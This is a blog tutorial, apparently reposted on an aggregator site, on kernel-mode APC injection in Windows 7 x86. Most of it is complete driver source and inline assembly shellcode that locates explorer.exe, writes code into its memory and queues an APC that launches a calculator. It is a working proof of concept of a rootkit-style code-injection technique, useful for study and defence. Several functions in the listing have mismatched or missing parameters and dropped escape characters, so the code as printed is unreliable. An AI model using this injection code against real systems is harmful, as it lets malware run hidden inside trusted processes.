APC Injection of Windows 7 x86 in R0
APC Injection of Windows 7 x86 in R0IntroductionWhen running in kernel mode,it may be necessary to inject code into a User-land process. We can use the Asynchronous Procedure Calls(APCs) to accomplish this goal. An APC can "borrow" a process thread that is in an idle alertable state,and while it relies on structures whose offset change between versions of Microsoft Windows,it is one of the most reliable and easiest way to exit kernel mode and enter user mode. In this article,I write some basic knowledge of APC and finished a sample of APC injection which can pop a calculator in windows 7 x86. Base code is shamelessly stolen from Justgoon .For more information,you can click the link to see his original article : x64与x64下内核APC注入(有码)
What is APCs? According to the MSND: An asynchronous procedure call (APC) is a function that executes asynchronously in the context of a particular thread. When an APC is queued to a thread,the system issues a software interrupt. The next time the thread is scheduled,it will run the APC function. An APC generated by the system is called a kernel-mode APC. An APC generated by an application is called a user-mode APC. A thread must be in an alertable state to run a user-mode APC. ? Each thread has its own APC queue. When a user-mode APC is queued,the thread to which it is queued is not directed to call the APC function unless it is in an alertable state. A thread enters an alertable state when it calls the SleepEx,SingnalObjectAndWait,MsgWaitForMultipleObjectsEx,WaitForMultipleObjetsEx,or WaitForSingleObjectEx function. If the wait is satisfied before the APC is queued,the thread is no longer in an alertable state so the APC function will not be executed. However,the APC is still queued,so the APC function will be executed when the thread calls another alertable wait function. We can use the The _KAPC structure. This is the Kernel Object of the APC. kd> dt _kapc ntdll!_KAPC +0x000 Type : //Type of ApcObject +0x001 SpareByte0 : +0x002 Size : +0x003 SpareByte1 : +0x004 SpareLong0 : +0x008 Thread : //_KTHREAD of current thread +0x00c ApcListEntry : //APC queue of current thread +0x014 KernelRoutine : +0x018 RundownRoutine : +0x01c NormalRoutine : +0x020 NormalContext : // +0x024 SystemArgument1 : +0x028 SystemArgument2 : +0x02c ApcStateIndex : // Apc State +0x02d ApcMode : // UserMode or KernelMode +0x02e Inserted : // inserted into the queue? APC queue information in the _KTHREAD kd> dt _kthread ntdll!_KTHREAD ... +0x040 ApcState : _KAPC_STATE +0x040 ApcStateFill : [23] UChar ... In the _KAPC_STATE,the last filed determined if the user APC function be called. kd> dt _KAPC_STATE ntdll!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY +0x010 Process : Ptr32 _KPROCESS +0x014 KernelApcInProgress : UChar +0x015 KernelApcPending : UChar +0x016 UserApcPending : UChar // work when set to 1 How to Insert a APC into a processTo insert a APC in the process from r0 to r3,essentially performs the following:
CodeHeader.h #include<ntifs.h> #include<ntddk.h> //Some type #define POINTER ULONG //EPROCESS OFFSET #define OBJECTTABLE_OFFSET 0xf4 #define IMAGEFILENAME_OFFSET 0x16c #define ACTIVEPROCESSLINKS_OFFSET 0xb8 #define THREADLISTHEAD_OFFSET 0x188 //ETHREAD OFFSET #define THREADLISTENTRY_OFFSET 0x268 //KTHREAD OFFSET #define TEB_OFFSET 0x88 #define USERAPCPENDING_OFFSET 0x56 // typedef enum _KAPC_ENVIRONMENT { OriginalApcEnvironment,AttachedApcEnvironment,CurrentApcEnvironment } KAPC_ENVIRONMENT; // VOID DriverUnload(IN PDRIVER_OBJECT pDrvObj); VOID ThreadFunc(IN PVOID pParam); BOOLEAN InsertApc(POINTER tarEthread,POINTER addrAllocMem,PKEVENT pKevent); BOOLEAN FindTargetEProcessAndEthread(POINTER* ptarEprocess,POINTER* ptarEthread); void UserExec(); void UserExec_end(VOID); /* Function prototypes for APCs */ VOID KeInitializeApc( PKAPC Apc,PKTHREAD Thread,CCHAR ApcStateIndex,PVOID KernelRoutine,PVOID RundownRoutine,PVOID NormalRoutine,KPROCESSOR_MODE ApcMode,PVOID NormalContext ); INT KeInsertQueueApc( PKAPC Apc,PVOID SystemArgument1,PVOID SystemArgument2,UCHAR unknown ); VOID KernelApcCallback(PKAPC Apc,PVOID *NormalRoutine,PVOID *NormalContext,PVOID* SystemArg1,PVOID* SystemArg2); source.c #include "Header.h" NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDrvObj,IN PUNICODE_STRING pRegStr) { UNREFERENCED_PARAMETER(pRegStr); NTSTATUS ntStatus = STATUS_SUCCESS; DbgPrint("[+] DriverEntry !n"); pDrvObj->DriverUnload = DriverUnload; HANDLE hThread; ntStatus = PsCreateSystemThread( &hThread,NULL,NtCurrentProcess(),ThreadFunc,NULL ); if (!NT_SUCCESS(ntStatus)) { DbgPrint("[-] PsCreateSystemThread Failed!n"); } return ntStatus; } VOID DriverUnload(IN PDRIVER_OBJECT pDrvObj) { UNREFERENCED_PARAMETER(pDrvObj); DbgPrint("[+] DriverUnload!n"); } VOID ThreadFunc(IN PVOID pParam) { UNREFERENCED_PARAMETER(pParam); BOOLEAN bTrue = TRUE; NTSTATUS ntStatus = STATUS_SUCCESS; POINTER tarEprocess = 0,tarEthread = 0; HANDLE hProcess = NULL; PKEVENT pKevent = NULL; SIZE_T shellcodeSize = 0; PVOID addrAllocMem = NULL; KAPC_STATE ApcState; while (bTrue) // This while is a program skill learn form MSDN { //Find a process's EPROCESS which can be inserted APC if (FindTargetEProcessAndEthread(&tarEprocess,&tarEthread) != TRUE) { DbgPrint("[-] FindTargetEProcessAndEthread Failed!n"); break; } //Alloc mem and copy code in target process shellcodeSize = (ULONG)(UserExec_end)-(ULONG)(UserExec); DbgPrint("[+] User Thread Shellcode Size: %d bytesn",shellcodeSize); ntStatus = ObOpenObjectByPointer((PVOID)tarEprocess,OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE,GENERIC_ALL,*PsProcessType,KernelMode,&hProcess ); if (!NT_SUCCESS(ntStatus)) { DbgPrint("[-] ObOpenObjectByPointer Failed!n"); break; } ntStatus = ZwAllocateVirtualMemory(hProcess,&addrAllocMem,&shellcodeSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS(ntStatus)) { DbgPrint("[-] ZwAllocateVirtualMemory Failed!n"); break; } KeStackAttachProcess((PEPROCESS)tarEprocess,&ApcState); RtlCopyMemory(addrAllocMem,(PVOID)((ULONG)UserExec),shellcodeSize); KeUnstackDetachProcess(&ApcState); //Create KEVENT pKevent = ExAllocatePool(NonPagedPool,sizeof(KEVENT)); if (!pKevent) { DbgPrint(("[-] ExAllocatePool(pKevent) Failed!n")); break; } KeInitializeEvent(pKevent,NotificationEvent,FALSE); //Insert APC in target process if (InsertApc(tarEthread,(ULONG)addrAllocMem,pKevent)) { DbgPrint("[+] Insert Apc Successfully!n"); KeWaitForSingleObject(pKevent,Executive,FALSE,NULL); } else { DbgPrint("[-] Insert Apc Failed!n"); } break; } //Clear if (pKevent) { ExFreePool(pKevent); } if (hProcess) { if (addrAllocMem) { LARGE_INTEGER liTime; // Negative value means relative time,not absolute liTime =RtlConvertLongToLargeInteger(-(LONG)1000*10000*10); //Callers of KeDelayExecutionThread must be running at IRQL <= APC_LEVEL. DbgPrint("KeGetCurrentIrql = %dn",KeGetCurrentIrql()); KeDelayExecutionThread(KernelMode,TRUE,&liTime); //Maybe the user mode shellcode executed,otherewise free the shellcode memory will crash the explorer.exe ZwFreeVirtualMemory(hProcess,MEM_RELEASE); } ZwClose(hProcess); } DbgPrint("[+] Thread End!n"); //Terminate the system thread PsTerminateSystemThread(STATUS_SUCCESS); } BOOLEAN InsertApc(POINTER tarEthread,PKEVENT pKevent ) { PKAPC pKapc; pKapc = ExAllocatePool(NonPagedPool,sizeof(KAPC)); if (pKapc == NULL) { DbgPrint("[-] ExAllocatePool(NonPagedPool,sizeof(KAPC)) Failed!n"); return FALSE; } //Initialize APC KeInitializeApc(pKapc,(PKTHREAD)tarEthread,OriginalApcEnvironment,(PVOID)(ULONG)KernelApcCallback,(PVOID)addrAllocMem,UserMode,NULL); //Set the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending DbgPrint("[+] xxx %xn",tarEthread); *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 1; if (!KeInsertQueueApc(pKapc,pKevent,(PVOID)tarEthread,0)) { //Reset the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 0; ExFreePool(pKapc); DbgPrint("[-] KeInsertQueueApc Failed!n"); return FALSE; } return TRUE; } VOID KernelApcCallback(PKAPC Apc,PVOID* SystemArg2) { UNREFERENCED_PARAMETER(NormalRoutine); UNREFERENCED_PARAMETER(NormalContext); UNREFERENCED_PARAMETER(SystemArg2); PKEVENT pKevent; POINTER tarEthread; pKevent = (PKEVENT)*SystemArg1; tarEthread = (POINTER)*SystemArg2; if (pKevent) { //Reset the _ETHREAD._KTHREAD._KAPC_STATE.UserApcPending *((PUCHAR)(tarEthread + USERAPCPENDING_OFFSET)) = 0; KeSetEvent(pKevent,IO_NO_INCREMENT,FALSE); } ExFreePool(Apc); } BOOLEAN FindTargetEProcessAndEthread(POINTER* ptarEprocess,POINTER* ptarEthread) { POINTER beginEprocess,curEprocess,beginEthread,curEthread; BOOLEAN bRet = FALSE; beginEprocess = (POINTER)PsGetCurrentProcess(); curEprocess = beginEprocess; //Travser backwards from the current eprocess to find the explorer's eprocess do { //eprocess.ObjectTable == NULL means it is a dead process if (*((POINTER*)(curEprocess + OBJECTTABLE_OFFSET)) != 0 && 0 == _stricmp(((char*)(curEprocess + IMAGEFILENAME_OFFSET)),"explorer.exe")) { *ptarEprocess = curEprocess; bRet = TRUE; break; } curEprocess = *((POINTER*)(curEprocess + ACTIVEPROCESSLINKS_OFFSET)) - ACTIVEPROCESSLINKS_OFFSET; } while (curEprocess != beginEprocess); //Travers thread if (bRet) { bRet = FALSE; beginEthread = *((POINTER*)(*ptarEprocess + THREADLISTHEAD_OFFSET)) - THREADLISTENTRY_OFFSET; curEthread = beginEthread; do { if (*((POINTER*)(curEthread + TEB_OFFSET)) != 0) { *ptarEthread = curEthread; bRet = TRUE; break; } curEthread = *((POINTER*)(beginEthread + THREADLISTENTRY_OFFSET)) - THREADLISTENTRY_OFFSET; } while (curEthread!=beginEthread); } return bRet; } __declspec(naked) void UserExec() { __asm { push ebp mov ebp,esp sub esp,150h pushad mov eax,fs:[0x30];// peb mov ebx,[eax + 0xc]; //peb->Ldr mov esi,[ebx + 0x14];//peb->Ldr.Inmemorder lodsd;//eax="ntdll.dll" xchg eax,esi; lodsd;//eax="kernel32.dll" mov ebx,[eax + 0x10]; //ebx = base address mov edx,[ebx + 0x3c]; //DOS->e_ifanew add edx,ebx; // PE header mov edx,[edx + 0x78];// edx = offset of EAT add edx,ebx;// EAT mov esi,[edx + 0x20]; //Address of Names(RVA) add esi,ebx;//Name Table xor ecx,ecx;//index=0 Find_index: inc ecx; lodsd;//mov eax,[esi] RVA add eax,ebx; cmp dword ptr[eax],0x50746547;//PteG jnz Find_index; cmp dword ptr[eax + 0x4],0x41636f72;//Acor jnz Find_index; cmp dword ptr[eax + 0x8],0x65726464; //erdd jnz Find_index; //get! mov esi,[edx + 0x24];//AddressOfNameOrdinals RVA add esi,ebx;//Ord Table mov cx,[esi + ecx * 2];//cx = realindex mov esi,[edx + 0x1c];//AddressOfFunction RVA add esi,ebx;// dec ecx;// indx-1 mov edx,[esi + ecx * 4]; add edx,ebx;//GetProcAddress real address push 0x00636578;//xec push 0x456E6957;//WinE push esp; push ebx; call edx; add esp,8 push 0; push 0x636c6163;//calc mov edi,esp; push 0; push edi; call eax; add esp,8 popad mov esp,ebp pop ebp ret } } __declspec(naked) void UserExec_end(VOID) { } Conclusion(编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
- 在Windows 7上更改/重置postgresql用户密码
- Windows下安装Scrapy方法及常见安装问题总结——Scrapy安装
- mingw – 程序入口点_gxx_personality_v0无法在动态链接库中
- Windows批处理文件 – 如果窗口标题包含文本,则为taskkill
- 在Windows上以C计算CPU时间
- windows – 网站和Active Directory域共享相同的名称
- 有哪些方法可以备份Windows VisualSVN的存储库?
- 窗口 – 是否可以在批处理文件中的回线中放置新的行字符?
- windows-8 – 下载windows phone sdk 8 offline
- Windows server2016 w3wp.exe占用内存过高